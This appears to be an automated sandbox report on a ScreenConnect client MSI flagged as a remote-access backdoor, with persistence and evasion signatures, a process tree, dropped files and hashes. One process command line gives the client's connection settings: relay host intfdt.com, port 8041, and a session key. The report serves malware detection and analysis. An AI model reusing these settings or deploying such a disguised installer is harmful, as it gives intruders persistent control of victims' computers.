Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 06:12

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260825-gyps7stvbx
  • SHA256 ca6a6f548320ab8ff5356eefb11c15253b411581b10b0f41d6be767ae038db0d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5368
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6032
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 8CEA5C10249D71A1457986A25F8A0716 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:236
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240746078 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:580
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2600
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7D5A29E96E6D5BBF63D407EF59C6C3AE
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2192
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A70E0C88551B054CB820C7832C945829 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2836
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2928
    • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=intfdt.com&p=8041&s=b20cc8d2-a978-42b6-aad7-febe75da054b&k=BgIAAACkAABSU0ExAAgAAAEAAQDdzGIlQtLoXinUslIgawNkhAggNZ925WjdSfoqgYeOKWvtyBfMLuJf%2beaO8Kpjchc5yMCw33ZUGPULeI2aOIaCLeFWVXyyXGqzvN3sXa63DNb%2fPTEo51RIc6FATW1lVA5SlJy7rQtsibc08ZuZCNrNCe1Wx1jnodKxMuZceeqcOGqKYIyjRmeSmhN5uboXuIbpv5rZRO2Cz6WOWxnBdzo4sEL6E%2bOHJm%2bZnA8N63%2fgYG3ix37K43E1UzKKnhkVzyt4J16RhBEAnRTg4lH4zQXoschfvPZkBbkxH9%2frxAO4cwPSdz8%2fLv8%2f%2b13SL%2fRsJsPVGCRC5lK3ZgmF4s6WzBi7"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5132
      • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe" "RunRole" "788c7d27-c138-49b0-8efc-4008c12871bf" "User"
        2⤵
        • Executes dropped EXE
        PID:4216
      • C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe" "RunRole" "22557bbc-0111-4dc9-b944-54e1a080afa1" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4544

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59dfc8.rbs

          • Path C:\Config.Msi\e59dfc8.rbs
          • Size 214KB
          • SHA256 de74f9fc3bee8cb5d4331dad21436ae607b8a1e812c17a39c7608bdcd693b2b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.Override.en-US.resources
          • Size 227B
          • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.Override.resources
          • Size 44KB
          • SHA256 4477395e6deedd346a586bbf8b0aee5542cedbcbec4fa59f96f48933ba69c0fe
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\app.config
          • Size 2KB
          • SHA256 d098e5ece29c14b3f5506bb091dfe97708c62c6f127d7b427499d59b2cfb6d66
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2a4a284690c62a39)\system.config
          • Size 936B
          • SHA256 22daf8af90c4c016b657e4d20c7c1e6db5388f7cac4e1eb368f29bda86564de3
          • MD5 SHA1 SHA512 TLSH

          MSI7D35.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7D35.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIE789.tmp

          • Path C:\Windows\Installer\MSIE789.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59dfc7.msi

          • Path C:\Windows\Installer\e59dfc7.msi
          • Size 12.9MB
          • SHA256 ca6a6f548320ab8ff5356eefb11c15253b411581b10b0f41d6be767ae038db0d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 45525163411911264c6e9bf1b7fb95cf6003476cd7fa1f45f1c044f2d3a6ad96
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {df35d6e7-bfdb-47ac-b972-80a16bf5d47e}_OnDiskSnapshotProp

          • Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{df35d6e7-bfdb-47ac-b972-80a16bf5d47e}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 d4f791fcf31904b74e8d3963f1c2c5f43c572c767c4380519541bf5ad03928ed
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/580-26-0x00000000057B0000-0x000000000583C000-memory.dmp

          memory/580-18-0x00000000056B0000-0x00000000056DE000-memory.dmp

          memory/580-22-0x00000000056F0000-0x00000000056FA000-memory.dmp

          memory/580-31-0x0000000006160000-0x000000000671A000-memory.dmp

          memory/580-30-0x00000000059F0000-0x0000000005B9C000-memory.dmp

          memory/4216-118-0x000000001BD30000-0x000000001BDBC000-memory.dmp

          memory/4216-116-0x0000000000C80000-0x0000000000D18000-memory.dmp

          memory/4216-117-0x0000000002D80000-0x0000000002DB6000-memory.dmp

          memory/4216-119-0x000000001BF70000-0x000000001C11C000-memory.dmp

          memory/4216-120-0x000000001C2B0000-0x000000001C438000-memory.dmp

          memory/4216-121-0x0000000001580000-0x0000000001598000-memory.dmp

          memory/4216-122-0x0000000002DC0000-0x0000000002DD8000-memory.dmp

          memory/5132-75-0x0000000002100000-0x0000000002118000-memory.dmp

          memory/5132-106-0x0000000004CA0000-0x0000000004D75000-memory.dmp

          memory/5132-101-0x00000000047F0000-0x0000000004826000-memory.dmp

          memory/5132-97-0x00000000047A0000-0x00000000047F0000-memory.dmp

          memory/5132-104-0x0000000004A10000-0x0000000004A51000-memory.dmp

          memory/5132-102-0x0000000004AB0000-0x0000000004B42000-memory.dmp